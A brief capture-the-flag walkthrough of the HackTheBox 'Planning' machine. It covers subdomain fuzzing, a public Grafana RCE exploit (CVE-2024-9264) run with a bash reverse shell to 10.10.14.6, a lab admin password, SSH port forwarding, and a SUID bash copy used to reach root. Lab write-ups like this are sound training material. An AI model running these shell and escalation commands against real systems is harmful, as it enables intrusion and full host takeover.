Planning writeup & walkthrough

Planning is an easy HackTheBox Linux machine exploiting a Grafana RCE vulnerability (CVE-2024-9264) to escape a Docker container and escalate to root on the host.

HackTheBox - Planning

Access Path

no access => enzo => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Subdomain Enumeration:

# Fuzz for subdomains
ffuf -u http://$IP -H "Host: FUZZ.planning.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --fc 301

Exploit: CVE-2024-9264 - Grafana RCE

• Payload: https://github.com/nollium/CVE-2024-9264

# Install and run exploit
uv run CVE-2024-9264.py

# Execute reverse shell
uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' http://grafana.planning.htb

Listener:

# Setup penelope listener
penelope -p 80,443,445,4444

Priv Esc

SSH Port Forwarding:

# Forward Grafana port
ssh -L 8000:127.0.0.1:8000 enzo@$IP -f -N

SUID Bash Exploitation:

# Copy bash to /opt with SUID bit
cp /bin/bash /opt/bash
chmod +s /opt/bash

# Execute SUID bash
/opt/bash -p